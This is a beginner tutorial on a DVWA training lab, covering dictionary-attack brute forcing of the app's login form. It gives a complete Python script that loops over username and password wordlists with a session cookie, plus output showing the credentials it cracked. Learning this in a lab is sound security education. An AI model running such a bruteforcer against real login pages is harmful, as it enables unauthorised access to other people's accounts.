Brute Force Vulnerability - Damn Vulnerable Web App Part 1

Welcome to the part 1 of the web hacking series based on damn vulnerable web application. I will be guiding all the beginners through the various web hacking technologies by using the open source DVWA application. I would like to suggest to try things on your own before reading all of these tutorials and you could actually use these series of tutorial as walkthroughs.

By now, I suppose you have already installed the damn vulnerable web application in your local web server(or maybe in local area network). Login to the DVWA interface with the default username/password combination which is admin:password Also we will first start with the low security level that can be set from within the interface by clicking on "DVWA security" link. So please set the security level as low and make sure you have not enabled PHPIDS for now.

In this very first tutorial, I will be guiding you in bruteforcing the login form which you can access from the "Brute Force" item in the left navigation menu.

*** For some reason, code looks ugly but copy/paste will work perfectly. ***

A bit of information on bruteforce: Bruteforce is a trial and hit method used to enumerate the working set of candidates for any system. In computer security field, bruteforcing is generally used to determine the authentication credentials by either making extensive guess using the permutation and combination methods(pure bruteforce) or by making use of dictionary(called dictionary attack). Usually, one of the keys is run through the same algorithm that has been employed in the system and the keys are tested on the system's authentication mechanism to determine the correct set of combinations. In our example, we will be performing dictionary attack on the web based form authentication system.

1) Lets test the login form with a random login information(I will test with admin:admin combination). And on giving wrong credentials, the login system shows us the error Username and/or password incorrect.. And we can see the URL in address bar changes to http://localhost/pvt/dvwa/vulnerabilities/brute/?username=admin&password=admin&Login=Login#. The URL suggests us that form is using the GET method and hence our credentials are being part of querystring on the URL.

2) Manual bruteforcing might take a lot longer time than expected so its a good idea to write a form bruteforcer. Of course, there are several tools on the internet for form bruteforcing but we will write our own tool in python programming language. Writing a bruteforcer is not a very difficult task but I expect you know one of the programming languages. If not, I suggest you to grab the basics of at least one language among PHP, Python, PERL and Ruby. Our attack will actually be a dictionary attack, a variant of bruteforcing technique in which we will be testing several user:password combination to find if any of those combinations work.

3) I hope you have already learnt basics of one of the above said languages. Now lets create list of possible usernames and list of possible passwords. You might write these two lists separately in two files for big list but for now I'll be putting possible usernames and passwords as tuple in the python code itself.

users = ("admin", "administrator", "1337")
passwords = ("admin", "administrator", "hacker", "password", "jessica", "qwerty", "iloveyou", "123456", "1337", "leet", "john", "stephen", "charley")

4) Now we will use urllib2 python module to send the HTTP requests with our username:password combinations. So first lets create the URL we will make request with. We have earlier found that login information is being passed as the GET parameters so things will be little bit easier. We can directly craft the action URL using our combinations which will look as below:

for user in users:
    for password in passwords:
        url = "http://localhost/pvt/dvwa/vulnerabilities/brute/?username=%s&password=%s&Login=Login" %(user, password)

5) Now that we have successfully crafted the URL, we will have to add cookies to the request header. This can be easily done by using urllib2 module. We need to put cookies to reflect our logged-in status to the DVWA interface otherwise we will be redirected to the login page of DVWA itself. We can grab our cookies from the browser. I used "View Cookie Information" feature of "Web Developer" plugin I had installed in my firefox browser. The two cookie fields were PHPSESSID and security. So our code becomes:

for user in users:
    for password in passwords:
        url = "http://localhost/pvt/dvwa/vulnerabilities/brute/?username=%s&password=%s&Login=Login" %(user, password)
        req = urllib2.Request(url)
        req.add_header("Cookie", "PHPSESSID=sdenfruj4kh1o8miaj443taul1;security=low")
        response = urllib2.urlopen(req)
        html = response.read()

6) Now we have successfully read the HTML response, we will just make use of the information we had earlier when our credentials were wrong. What I mean is that providing wrong credentials was throwing us an error Username and/or password incorrect. in the HTML output. Hence, we can search for this string and if this string is not present in the HTML output, we can be sure that our current username:password combination is working. Hence our final code becomes:

#!/usr/bin/python

import urllib2

users = ("admin", "administrator", "1337")
passwords = ("admin", "administrator", "hacker", "password", "jessica", "qwerty", "iloveyou", "123456", "1337", "leet", "john", "stephen", "charley")

for user in users:
    for password in passwords:
        url = "http://localhost/pvt/dvwa/vulnerabilities/brute/?username=%s&password=%s&Login=Login" %(user, password)
        req = urllib2.Request(url)
        req.add_header("Cookie", "PHPSESSID=sdenfruj4kh1o8miaj443taul1;security=low")
        response = urllib2.urlopen(req)
        html = response.read()
        if "Username and/or password incorrect." not in html:
            print "Working combination --- %s : %s" %(user, password)

7) Now lets run this code from terminal by typing python bruteforce.py and following was the result:

samar@Techgaun:~/Desktop$ python bruteforce.py
Working combination --- admin : password
Working combination --- 1337 : charley
samar@Techgaun:~/Desktop$

8) Lets see if our extracted combinations really work in the website. And voila!!! They work like a charm. This was just a very basic example on how you could bruteforce the HTTP forms and perform dictionary attack. I hope you learnt basic of bruteforcing from this tutorial.